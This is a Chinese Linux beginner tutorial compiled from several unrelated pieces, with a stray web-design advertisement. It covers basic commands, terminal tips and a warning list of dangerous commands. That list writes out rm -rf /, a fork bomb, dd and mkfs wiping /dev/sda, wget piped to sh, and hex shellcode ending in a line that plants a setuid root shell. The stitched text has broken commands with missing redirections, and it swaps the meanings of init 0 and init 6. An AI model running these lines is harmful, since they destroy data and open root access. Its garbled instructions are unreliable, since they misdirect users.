Linux 對我們的生活產(chǎn)生了巨大的沖擊。至少你的安卓手機使用的就是 Linux 核心。盡管如此,在第一次開始使用 Linux 時你還是會感到難以下手。因為在 Linux 中,通常需要使用終端命令來取代 Windows 系統(tǒng)中的點擊啟動圖標(biāo)操作。但是不必擔(dān)心,這里我們會介紹 10 個 Linux 基本命令來幫助你開啟 Linux 神秘之旅。
晉源網(wǎng)站建設(shè)公司成都創(chuàng)新互聯(lián),晉源網(wǎng)站設(shè)計制作,有大型網(wǎng)站制作公司豐富經(jīng)驗。已為晉源上千余家提供企業(yè)網(wǎng)站建設(shè)服務(wù)。企業(yè)網(wǎng)站搭建\外貿(mào)網(wǎng)站建設(shè)要多少錢,請找那個售后服務(wù)好的晉源做網(wǎng)站的公司定做!
幫助新手走出第一步的 10 個 Linux 基本命令
當(dāng)我們談?wù)?Linux 命令時,實質(zhì)上是在談?wù)?Linux 系統(tǒng)本身。這短短的 10 個 Linux 基本命令不會讓你變成天才或者 Linux 專家,但是能幫助你輕松開始 Linux 之旅。使用這些基本命令會幫助新手們完成 Linux 的日常任務(wù),由于它們的使用頻率如此至高,所以我更樂意稱他們?yōu)?Linux 命令之王!
讓我們開始學(xué)習(xí)這 10 條 Linux 基本命令吧。
1. sudo
這條命令的意思是“以超級用戶的身份執(zhí)行”,是 SuperUserDo 的簡寫,它是新手將要用到的最重要的一條 Linux 命令。當(dāng)一條單行命令需要 root 權(quán)限的時候,sudo命令就派上用場了。你可以在每一條需要 root 權(quán)限的命令前都加上sudo。
$ sudo su
2. ls
跟其他人一樣,你肯定也經(jīng)常想看看目錄下都有些什么東西。使用列表命令,終端會把當(dāng)前工作目錄下所有的文件以及文件夾展示給你。比如說,我當(dāng)前處在 /home 文件夾中,我想看看 /home 文件夾中都有哪些文件和目錄。
/home$ ls
在 /home 中執(zhí)行l(wèi)s命令將會返回類似下面的內(nèi)容:
imad lost+found
3. cd
變更目錄命令(cd)是終端中總會被用到的主要命令。它是最常用到的 Linux 基本命令之一。此命令使用非常簡單,當(dāng)你打算從當(dāng)前目錄跳轉(zhuǎn)至某個文件夾時,只需要將文件夾鍵入此命令之后即可。如果你想跳轉(zhuǎn)至上層目錄,只需要在此命令之后鍵入兩個點 (..) 就可以了。 舉個例子,我現(xiàn)在處在 /home 目錄中,我想移動到 /home 目錄中的 usr 文件夾下,可以通過以下命令來完成操作。
/home $ cd usr
/home/usr $
4. mkdir
只是可以切換目錄還是不夠完美。有時候你會想要新建一個文件夾或子文件夾。此時可以使用 mkdir 命令來完成操作。使用方法很簡單,只需要把新的文件夾名跟在 mkdir 命令之后就好了。
~$ mkdir folderName
5. cp
拷貝-粘貼copy-and-paste是我們組織文件需要用到的重要命令。使用 cp命令可以幫助你在終端當(dāng)中完成拷貝-粘貼操作。首先確定你想要拷貝的文件,然后鍵入打算粘貼此文件的目標(biāo)位置。
$ cp src des
注意:如果目標(biāo)目錄對新建文件需要 root 權(quán)限時,你可以使用 sudo命令來完成文件拷貝操作。
6. rm
rm 命令可以幫助你移除文件甚至目錄。如果不希望每刪除一個文件都提示確認(rèn)一次,可以用-f參數(shù)來強制執(zhí)行。也可以使用-r參數(shù)來遞歸的移除文件夾。
$ rm myfile.txt
7. apt-get
這個命令會依據(jù)發(fā)行版的不同而有所區(qū)別。在基于 Debian 的發(fā)行版中,我們擁有 Advanced Packaging Tool(APT)包管理工具來安裝、移除和升級包。apt-get 命令會幫助你安裝需要在 Linux 系統(tǒng)中運行的軟件。它是一個功能強大的命令行,可以用來幫助你對軟件執(zhí)行安裝、升級和移除操作。
在其他發(fā)行版中,例如 Fedora、Centos,都各自不同的包管理工具。Fedora 之前使用的是 yum,不過現(xiàn)在 dnf 成了它默認(rèn)的包管理工具。
$ sudo apt-get update
$ sudo dnf update
8. grep
當(dāng)你需要查找一個文件,但是又忘記了它具體的位置和路徑時,grep命令會幫助你解決這個難題。你可以提供文件的關(guān)鍵字,使用grep命令來查找到它。
$ grep user /etc/passwd
9. cat
作為一個用戶,你應(yīng)該會經(jīng)常需要瀏覽腳本內(nèi)的文本或者代碼。cat命令是 Linux 系統(tǒng)的基本命令之一,它的用途就是將文件的內(nèi)容展示給你。
$ cat CMakeLists.txt
10. poweroff
最后一個命令是 poweroff。有時你需要直接在終端中執(zhí)行關(guān)機操作。此命令可以完成這個任務(wù)。由于關(guān)機操作需要 root 權(quán)限,所以別忘了在此命令之前添加sudo。
$ sudo poweroff
總結(jié)
如我在文章開始所言,這 10 條命令并不會讓你立即成為一個 Linux 大拿,但它們會讓你在初期快速上手 Linux。以這些命令為基礎(chǔ),給自己設(shè)置一個目標(biāo),每天學(xué)習(xí)一到三條命令,這就是此文的目的所在。
職場中,大部分都是通過 SSH客戶端 遠程操作,實現(xiàn)磁盤讀取,文件讀取,目錄操作,進程管理等等
打開終端3種方式,收藏夾黑色屏幕圖標(biāo)點擊,右鍵打開終端,Ctrl+Alt+t組合鍵
command ?[-options] [parameters] ?
command即終端命令,options為選項一般前面有橫杠,后面是參數(shù),選項和參數(shù)有中括號表示可選項
man command (man表示手冊縮寫,查看命令幫助文檔)出現(xiàn)文檔,按回車下滾一行,按空格(或f)下翻一頁,按b上翻一頁,輸入橫杠加上對應(yīng)的option可實現(xiàn)對應(yīng)部分高亮
command --help也可以實現(xiàn)幫助文檔,頁面和上面不太一樣,部分還出現(xiàn)了中文
pwd 命令 顯示當(dāng)前路徑
tree [path] 命令(默認(rèn)沒有,需要安裝,sudo apt install tree)可以將你當(dāng)前(或指定)路徑下的文件以樹狀遍歷(所有文件,遞歸)顯示出來
ls 命令 以列表顯示當(dāng)前目錄文件,(不再深層挖掘)ls顯示出來白色是文件,藍色是文件夾,綠色是可執(zhí)行文件,紅色一般是壓縮包
ls -a 顯示所有的文件包括隱藏文件,顯示結(jié)果以. 點開頭的就是隱藏文件
ls -l 用較長方式顯示文件?
前面10個字母(分成第一個和后9個,第一個橫杠表示一個文件,d表示一個目錄,l表示是個鏈接(類似快捷方式),后九個,rwx表示跟讀寫等操作有關(guān),后面講),硬鏈接數(shù),文件所屬用戶(第一個demo),文件所屬組(第二個demo),文件大?。˙為單位),最后修改時間,文件
ls -h以人性化顯示文件(一般和-l一起),可看出加了-h后,文件顯示的單位方便閱讀
cd 可以跟相對路徑和絕對路徑,路徑大小寫敏感
當(dāng)前路徑用“.”表示,上級路徑“..”
cd 什么都不加或者cd ~可以直接回家目錄/home
cd /去根目錄
cd -返回上次的目錄
mkdir創(chuàng)建目錄?
mkdir 目錄名 ? 不可以一次創(chuàng)建多級目錄(文件夾不存在情況下如mkdir a/b/c,a,b都不存在情況下,創(chuàng)建不了)
如果我們就是想創(chuàng)建多級目錄呢,使用遞歸創(chuàng)建目錄,會把沒有的目錄創(chuàng)建出來
mkdir a/b/c -p
touch創(chuàng)建文件
touch +文件名(建議加后綴名),可以一次創(chuàng)建多個文件用空格隔開
touch a.txt
touch a.txt b.txt
gedit打開文件
gedit 文件相對路徑或絕對路徑,(如果未成功打開需要加上sudo gedit)
同上個命令可以同時打開多個,打開的編輯器編輯內(nèi)容點擊保存完成文件編輯
打開文件后終端進入等待狀態(tài)
rm刪除文件和文件夾
文件刪除不能恢復(fù)
rm -i 文件 ? ? ? 這種會出現(xiàn)是否提示,給自己個提醒機會(centos沒有-i就有提示)
rm -f 文件 ? 強制刪除(不提示,和上個相反)
rm -r 目錄 ? 刪除目錄(多級遞歸刪除)
cp拷貝文件和文件夾
cp a.txt b.txt 當(dāng)前路徑下的a.txt拷貝一個b.txt到當(dāng)前路徑,如果已經(jīng)存在b.txt直接覆蓋掉
加上-i模式可以給與提示(不是同名文件不會出現(xiàn))
-f 強制復(fù)制不提示
-v 顯示一行拷貝的過程
如果是復(fù)制文件夾要加上 -r 遞歸拷貝
-a 把文件或文件夾(是遞歸拷貝)的權(quán)限也一起復(fù)制過去
mv移動文件文件夾,重命名
mv 原路徑 目標(biāo)路徑
如果存在同名文件,默認(rèn)會覆蓋,還是加-i提示,如果選擇n,不會移動成功
-f 強制移動不提示
-v 顯示移動過程
移動文件夾不用加-r(刪除和拷貝不一樣)
clear 清除終端顯示內(nèi)容(類似DOS cls)快捷鍵,Ctrl+L
實際效果只是往下滾動,當(dāng)前輸入為第一行,拖動滾動條還是能看見之前的內(nèi)容= =
tab 自動補全(有時多個可能要再按下tab出現(xiàn)候選提示)
which 查看命令位置
光標(biāo)↑↓ 查看翻查之前調(diào)用過的命令
Ctrl+C 終止程序運行
終端字體大小調(diào)整Ctrl Shift +(放大)
Ctrl - (縮小,注意無shift)
cal顯示日歷,當(dāng)日高亮
cal -3顯示當(dāng)前月及上下月的日歷(沒有-別的數(shù)字)
cal -y 顯示一年的日歷
cal -j 日歷顯示是當(dāng)年第幾天
cal 年份4位數(shù)(獲得年份日歷)
date顯示日期
date 加雙引號字符串格式化顯示,注意對應(yīng)大小寫
%F,%T同樣實現(xiàn)類似效果,分別格式化日期和時間
history 獲得所有的歷史指令
history 數(shù)字 顯示最近的數(shù)字條指令
如果我看到對應(yīng)指令,然后根據(jù)指令編號,直接輸入
! 指令編號 ? ? 即可執(zhí)行對應(yīng)指令,這些歷史指令都存在于家目錄隱藏文件 .bash_history 中
cat 直接在命令行顯示文件內(nèi)容,和gedit不一樣
-n 查看文件同時顯示行號
-b 文件空行不編號,但是給空出位置,顯示非空行編號
-s 兩行以上的空行只顯示一行(可以和前面的組合 -sb ? )
同時打開多個文件效果
more
more 文件路徑 ?
分屏查看,會顯示已經(jīng)顯示部分的百分比,
按回車滾一行,
按空格 ?或 ?Ctrl+F或F向下翻一屏,
Ctrl+B或B回滾一屏
q退出
more +num 表示從第num行開始查看,文件默認(rèn)第一行為1
-p 選項 清屏 置頂顯示內(nèi)容
-s 連續(xù)2行以上的空行顯示一個空行
more 也可以加多個文件,顯示不同文件有專門的分割,這是與cat的區(qū)別
Linux中最危險的10個命令
對于編程人員或或者Linux系統(tǒng)管理員來說,操作Linux系統(tǒng)最常見的方法就是使用命令行。當(dāng)然,Linux命令行佷有用、很高效,但有時候也很危險,尤其是在你誤操作或者不確定你自己在正在做什么的時候。下面我就為大家盤點最危險是10個命令,一起來看看吧!
當(dāng)然,以下命令通常都是在root權(quán)限下才能將愚蠢發(fā)揮到無可救藥;在普 通用戶身份下,破壞的只是自己的一畝三分地。
1. rm -rf 命令
rm -rf命令是刪除文件夾及其內(nèi)容最快的方式之一。僅僅一丁點的敲錯或無知都可能導(dǎo)致不可恢復(fù)的系統(tǒng)崩壞。下列是一些rm 命令的選項。
rm 命令在Linux下通常用來刪除文件。
rm -r 命令遞歸的刪除文件夾,甚至是空的文件夾。(譯注:個人認(rèn)為此處應(yīng)該是說錯了,從常識看,應(yīng)該是“甚至是非空的文件夾”)
rm -f 命令能不經(jīng)過詢問直接刪除‘只讀文件’。(譯注:Linux下刪除文件并不在乎該文件是否是只讀的,而只是在意其父目錄是否有寫權(quán)限。所以,-f這個參數(shù) 只是表示不必一個個刪除確認(rèn),而是一律悄悄刪除。另外,原始的rm命令其實也是沒有刪除提示的,只是一般的發(fā)行版都會將rm通過別名的方式增加-i參數(shù)來 要求刪除確認(rèn),而-f則抑制了這個提示。)
rm -rf / : 強制刪除根目錄下所有東東。(就是說刪除完畢后,什么也沒有了。。。)
rm -rf *: 強制刪除當(dāng)前目錄的所有文件。
rm -rf . : 強制刪除當(dāng)前文件夾及其子文件夾。
從 現(xiàn)在起,當(dāng)你要執(zhí)行rm -rf命令時請留心一點。我們可以在“.bashrc”文件對‘rm‘命令創(chuàng)建rm -i的別名,來預(yù)防用 ‘rm‘命令刪除文件時的事故,它會要求你確認(rèn)每一個刪除請求。(譯注:大多數(shù)發(fā)行版已經(jīng)這樣做了,如果還沒有,請這樣做,并在使用-f參數(shù)前一定考慮好 你在做什么!譯者本人有著血淚的教訓(xùn)啊。)
2. :(){:|:};: 命令
這就是個fork 炸彈的實例。具體操作是通過定義一個名為 ‘:‘的函數(shù),它會調(diào)用自己兩次,一次在前臺另一次運行在后臺。它會反復(fù)的執(zhí)行下去直到系統(tǒng)崩潰。
:(){:|:};:
哦?你確認(rèn)你要試試么?千萬別在公司正式的服務(wù)器上實驗啊~~
3. 命令 /dev/sda
上列命令會將某個‘命令‘的輸出寫到塊設(shè)備/dev/sda中。該操作會將在塊設(shè)備中的所有數(shù)據(jù)塊替換為命令寫入的原始數(shù)據(jù),從而導(dǎo)致整個塊設(shè)備的數(shù)據(jù)丟失。
4. mv 文件夾 /dev/null
這 個命令會移動某個‘文件夾‘到/dev/null。在Linux中 /dev/null 或 null 設(shè)備是一個特殊的文件,所有寫入它的數(shù)據(jù)都會被清除,然后返回寫操作成功。(譯注:這就是黑洞啊。當(dāng)然,要說明的是,通過將文件夾移動到黑洞,并不能阻止 數(shù)據(jù)恢復(fù)軟件的救贖,所以,真正的`徹底毀滅,需要采用專用的軟件或者手法來完成——我知道你肯定有些東西想刪除得干干凈凈的。)
# mv /home/user/* /dev/null
上列命令會將User目錄所有內(nèi)容移動到/dev/null,這意味著所有東西都被‘卷入’黑洞 (null)之中。
5. wget -O- | sh
上列命令會從一個(也許是)惡意源下載一個腳本并執(zhí)行。Wget命令會下載這個腳本,而sh會(無條件的)執(zhí)行下載下來的腳本。
注意: 你應(yīng)該時刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。(譯注:所以,你真的知道你在做什么嗎?當(dāng)遇到這種需要是,我的做法是,先wget下來,然后我去讀一讀其中到底寫了些什么,然后考慮是否執(zhí)行。)
6. mkfs.ext3 /dev/sda
上列命令會格式化塊設(shè)備‘sda’,你無疑知道在執(zhí)行上列命令后你的塊設(shè)備(硬盤驅(qū) 動器)會被格式化,嶄新的!沒有任何數(shù)據(jù),直接讓你的系統(tǒng)達到不可恢復(fù)的階段。(譯注:通常不會直接使用/dev/sda這樣的設(shè)備,除非是作為raw設(shè) 備使用,一般都需要將sda分成類似sda1、sda2這樣的分區(qū)后才使用。當(dāng)然,無論你使用sda還是sda1,這樣對塊設(shè)備或分區(qū)進行mkfs都是毀 滅性的,上面的數(shù)據(jù)都會被蒸發(fā)了。)
7. file
上列命令常用來清空文件內(nèi)容(譯注:通常也用于記錄命令輸出。 不過請在執(zhí)行前,確認(rèn)輸出的文件是空的或者還不存在,否則原來的文件可真是恢復(fù)不了了——連數(shù)據(jù)恢復(fù)軟件都未必能幫助你了。另外,我想你可能真正想用的是 “”,即累加新的輸出到文件,而不是刷新那個文件。)。如果用上列執(zhí)行時輸入錯誤或無知的輸入類似 “xt.conf” 的命令會覆蓋配置文件或其他任何的系統(tǒng)配置文件。
8. ^foo^bar
這個命令在“鮮為人知而又實用的 Linux 命令大全:”中描述過,用來編輯先前運行的命令而無需重打整個命令。但當(dāng)用foobar命令時如果你沒有徹底檢查改變原始命令的風(fēng)險,這可能導(dǎo)致真正的麻煩。(譯注:事實上,這種小技巧是譯者認(rèn)為的,少數(shù)史前時代遺留下來的無用而有害的“黑客”技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令會向塊設(shè)備sda寫入隨機的垃圾文件從而擦出數(shù)據(jù)。當(dāng)然!你的系統(tǒng)可能陷入混亂和不可恢復(fù)的狀態(tài)。(譯注:記得上面說過mv到黑洞并不能徹底刪除數(shù)據(jù)么?那么這個命令就是給了你一個徹底刪除的方法!當(dāng)然為了保險起見,你可以覆寫多次。)
10. 隱藏命令
下面的命令其實就是上面第一個命令 (rm -rf)。這里的代碼是隱藏在十六進制里的,一個無知的用戶可能就會被愚弄。在終端里運行下面命令可能會擦除你的根分區(qū)。
這個命令表明通常真正的危險是隱藏的,不會被輕易的檢測到。你必須時刻留心你在做什么結(jié)果會怎樣。不要編譯/運行從未知來源的代碼。
char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
注意: 不要在你的或你的同學(xué)或?qū)W校的電腦里的Linux終端或Shell執(zhí)行以上的任何一個命令,因為這將導(dǎo)致數(shù)據(jù)丟失或者系統(tǒng)崩潰。如果你想測試它們,請在虛擬機上運行。
;
一、關(guān)機與重新啟動
1)#init 0重啟 #init 6關(guān)機(改變系統(tǒng)運行級別的方法)
2)#reboot重啟 #halt關(guān)機(命令法)
3)#showdown -h +5 (5分鐘后關(guān)機) #showdown -r +5(5分鐘后重啟)
二、常用目錄操作命令
1)顯示文件和目錄:ls -a -l
2) 復(fù)制文件或目錄:cp 源文件 目的文件
3)移動文件或目錄:mv 源文件 目的文件
4)顯示文件內(nèi)容:cat 文本文件
5)分頁顯示文本內(nèi)容:more 文本文件 或less 文本文件
6)顯示文件開頭或結(jié)尾的幾行:head -3 myfile(顯示myfile文件頭3行)?;騮ail -5 myfile.
7)統(tǒng)計指定文本文件的行數(shù)、字?jǐn)?shù)、字符數(shù):$wc -l myfile(統(tǒng)計myfile文件的行數(shù))
8)在文件系統(tǒng)中查找指定的文件:$find -name 'my*'(從當(dāng)前目錄下找以my開頭的文件)
9)從指定的一個或多個文本文件中逐行查找指定字符串:
$grep "my*" file1 file2(從文件file1和file2中逐行查找my開頭的字符串)
10)顯示當(dāng)前工作目錄:pwd
11)創(chuàng)建目錄:mkdir mydir1(在當(dāng)前目錄下創(chuàng)建一個名為mydir1的目錄)
12)刪除目錄:rmdir mydir1(將mydir1目錄刪除)
13)刪除文件:rm my*.*(將my開頭的所有文件都刪除)
三、常用信息顯示命令
1)顯示指定文件相當(dāng)信息:stat myfile
2)顯示在線登錄用戶:who
3)顯示用戶自己身份:whoami
4)顯示主機名稱:hostname
5)顯示操作系統(tǒng)名稱:uname
6)顯示網(wǎng)絡(luò)接口信息:ifconfig
7)測試網(wǎng)絡(luò)連通性:ping IP地址
8)顯示網(wǎng)絡(luò)狀態(tài)信息:netstat
9)顯示當(dāng)前用戶ID:id
四、常用備份壓縮命令
1)文件目錄打包:tar -選項 文件
選項:-t 列出打包文件的內(nèi)容 -c 創(chuàng)建新文件包 -r追加文檔 -x釋放文件
2)壓縮成gz文件:gzip
3)壓縮成Z文件:compress
4) 壓縮成bz2文件:bzip
五、常用系統(tǒng)管理命令
1)掛裝文件系統(tǒng)。mount -t vfat /dev/sdb1 /mnt/udisk(把U盤掛到/mnt/udisk下。注意相應(yīng)目錄要提前創(chuàng)建)。
2)改變文件或目錄權(quán)限 :chmod +-= 權(quán)限 文件
如: chmod u+x,g+w,o+r myfile
3)改變用戶 : su
4) 顯示系統(tǒng)進程:ps
5)停止指定進程:kill 進程號
6)rpm